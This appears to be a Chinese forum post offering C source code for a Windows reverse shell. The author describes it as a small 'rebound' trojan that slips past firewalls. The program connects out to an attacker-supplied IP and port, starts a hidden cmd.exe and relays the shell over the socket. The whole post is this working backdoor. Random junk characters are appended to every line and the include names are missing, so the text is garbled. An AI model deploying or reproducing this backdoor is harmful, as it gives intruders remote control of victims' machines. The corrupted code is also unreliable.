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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wVE:X3Ei  
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/* ============================== r )8z#W>s  
Rebound port in Windows NT "xn|zB  
By wind,2006/7 s7"i.A  
===============================*/ Z/7dg-$?'0  
#include I="oxf#q  
#include PQ3h\CL1n  
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#pragma comment(lib,"wsock32.lib") s:b" \7  
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void OutputShell(); \8>oJR 6  
SOCKET sClient; 6c &Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Yf= FeH7"  
h)@InYwu7  
void main(int argc,char **argv) nB&j   
{ R04J3D|  
WSADATA stWsaData; >0T Za  
int nRet; SX_4=^  
SOCKADDR_IN stSaiClient,stSaiServer; H(&Z:{L  
t!t=|JNf{  
if(argc != 3) [O 1|75  
{ CKd3w8;  
printf("Useage:\n\rRebound DestIP DestPort\n"); (tKMBxQo8  
return; lkwh'@s.  
} :1MM a6  
hDvpOIUL1  
WSAStartup(MAKEWORD(2,2),&stWsaData); Gkmsaf>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M BVOfEMj  
Bm} iU~(Z`  
stSaiClient.sin_family = AF_INET; nh0&'hA  
stSaiClient.sin_port = htons(0); TVeJ6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9^\hmpP@D  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) '\t7jQ  
{ Xm@aYNV  
printf("Bind Socket Failed!\n"); }N]!0Ka  
return; P7r4ePtLk{  
} $ S~%KsC  
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stSaiServer.sin_family = AF_INET; iaRR5D-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Rsn^eR6^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Nv3tt  
*~;8N|4<  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :\bfGSD/gd  
{ {:)vwUe{  
printf("Connect Error!"); 3]`mQm E  
return; /buWAX 1  
} ;($1Z7j+  
OutputShell(); wT/6aJoX  
} ]/44Ygz/  
?!7 SzLll  
void OutputShell() c,$mWTC  
{ 1Is%]6  
char szBuff[1024]; GA@ Ue9  
SECURITY_ATTRIBUTES stSecurityAttributes; c/'M#h)"  
OSVERSIONINFO stOsversionInfo; (yGQa5v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2GUupnQkD  
STARTUPINFO stStartupInfo; aTClw<6}  
char *szShell; L|J~9FM  
PROCESS_INFORMATION stProcessInformation; F`srE6H  
unsigned long lBytesRead; EneAX&SG  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @\PpA9ebg%  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ` FxtLG,F  
stSecurityAttributes.lpSecurityDescriptor = 0; U`1l8'W}:#  
stSecurityAttributes.bInheritHandle = TRUE; 4+Ti7p06&\  
blp=Hk  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H"D 5 e  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Azn:_4O  
-|[~sj-p  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?Pnx ~m{%*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QnU0"_-  
stStartupInfo.wShowWindow = SW_HIDE; r--;yEjWE  
stStartupInfo.hStdInput = hReadPipe; :~33U)?{T  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  f`J|>Vk  
g}r^Xzd;  
GetVersionEx(&stOsversionInfo); +6376$dC  
@/(@/*+"  
switch(stOsversionInfo.dwPlatformId) LzE/g)>  
{ $iHoOYx]<  
case 1: ZqP7@fO_%  
szShell = "command.com"; +V1}@6k :  
break; MWhwMj!:m  
default: 1|/'"9v  
szShell = "cmd.exe"; "Z~`e]>  
break; Pw  xIz  
} o&,Y<$!:VH  
R9vY:oN%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^6qjSfFW}  
|*E"G5WZM  
send(sClient,szMsg,77,0); ~d>uXrb  
while(1) ~bGnq, .$  
{ `M)E*G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ns26$bU  
if(lBytesRead) {,Fcd(MU  
{ r{Z[xWIX  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); SB1[jcJ  
send(sClient,szBuff,lBytesRead,0); ]>vf9]  
} I+~bCcgPi  
else 9 `INC~h  
{ z5pc3:  
lBytesRead=recv(sClient,szBuff,1024,0); ~<eVl l=  
if(lBytesRead<=0) break; oAnigu;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K7Gm-=%  
} ]ViOr8u  
} iD`k"\>9  
8nsZ+,@+[  
return; ]738Z/)^  
}
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